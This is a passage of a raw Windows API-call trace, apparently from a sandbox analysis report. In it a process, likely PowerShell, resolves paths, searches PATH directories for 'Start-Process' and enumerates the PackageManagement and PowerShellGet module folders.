lpOldMode=0x5a2eb8c) returned 1 [0204.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0204.486] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x14, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13 [0204.487] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\Start-Process.*", lpFindFileData=0x5a2e93c | out: lpFindFileData=0x5a2e93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8e4) returned 1 [0204.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb44) returned 1 [0204.487] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0204.487] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0204.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8d0) returned 1 [0204.487] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb94 | out: lpFileInformation=0x5a2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0204.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8cc) returned 1 [0204.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb8c) returned 1 [0204.488] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0204.488] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0204.488] FindFirstFileW (in: lpFileName="C:\\Windows\\Start-Process.*", lpFindFileData=0x5a2e93c | out: lpFindFileData=0x5a2e93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8e4) returned 1 [0204.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb44) returned 1 [0204.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0204.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0204.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8d0) returned 1 [0204.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\syswow64\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb94 | out: lpFileInformation=0x5a2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x123dcea, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x496a9b80, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496a9b80, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0204.489] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8cc) returned 1 [0204.489] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb8c) returned 1 [0204.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0204.489] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0204.489] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Start-Process.*", lpFindFileData=0x5a2e93c | out: lpFindFileData=0x5a2e93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8e4) returned 1 [0204.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb44) returned 1 [0204.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0204.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0204.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8d0) returned 1 [0204.490] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb94 | out: lpFileInformation=0x5a2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0204.490] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8cc) returned 1 [0204.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb8c) returned 1 [0204.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0204.490] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0204.491] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Start-Process.*", lpFindFileData=0x5a2e93c | out: lpFindFileData=0x5a2e93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8e4) returned 1 [0204.491] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb44) returned 1 [0204.491] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0204.491] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0204.491] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e8d0) returned 1 [0204.491] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client" (normalized: "c:\\program files (x86)\\microsoft office\\root\\client"), fInfoLevelId=0x0, lpFileInformation=0x5a2eb94 | out: lpFileInformation=0x5a2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x31a4ed90, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x7fc99110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x7fc99110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0204.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8cc) returned 1 [0204.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2eb8c) returned 1 [0204.680] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0204.680] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", nBufferLength=0x34, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Microsoft Office\\root\\Client", lpFilePart=0x0) returned 0x33 [0204.681] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\root\\Client\\Start-Process.*", lpFindFileData=0x5a2e93c | out: lpFindFileData=0x5a2e93c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0204.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e8e4) returned 1 [0204.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb44) returned 1 [0204.682] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5a2e9d8, nSize=0xf2 | out: lpBuffer="") returned 0xc5 [0204.703] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0204.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0204.705] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0204.705] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0204.705] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0204.705] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.706] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0204.706] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0204.706] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.706] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0204.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0204.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0204.706] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0204.706] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0204.707] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0204.707] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0204.707] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0204.707] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0204.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0204.707] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0204.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0204.708] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0204.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e90c) returned 1 [0204.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd0 | out: lpFileInformation=0x5a2ebd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e908) returned 1 [0204.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0204.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0204.709] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0204.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x5a2e96c | out: lpFindFileData=0x5a2e96c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5bb8370 [0204.710] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.710] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0204.710] FindNextFileW (in: hFindFile=0x5bb8370, lpFindFileData=0x5a2e974 | out: lpFindFileData=0x5a2e974*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0204.710] FindClose (in: hFindFile=0x5bb8370 | out: hFindFile=0x5bb8370) returned 1 [0204.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e92c) returned 1 [0204.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2eb8c) returned 1 [0204.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0204.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0204.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e910) returned 1 [0204.711] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5a2ebd4 | out: lpFileInformation=0x5a2ebd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e90c) returned 1 [0204.711] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0204.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0204.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0204.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x469910, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0204.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e934) returned 1 [0204.712] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x256eba4 | out: lpFileInformation=0x256eba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0204.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a2e930) returned 1 [0204.712] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psd1")) returned 0xffffffff [0204.713] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.psm1")) returned 0xffffffff [0204.713] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.cdxml")) returned 0xffffffff [0204.713] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.xaml")) returned 0xffffffff [0204.713] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.ni.dll")) returned 0xffffffff [0204.713] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\PackageManagement.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\packagemanagement.dll")) returned 0xffffffff [0204.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2ebbc) returned 1 [0204.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0204.714] GetFullPathNameW (in: lpFileName="C:\\Program 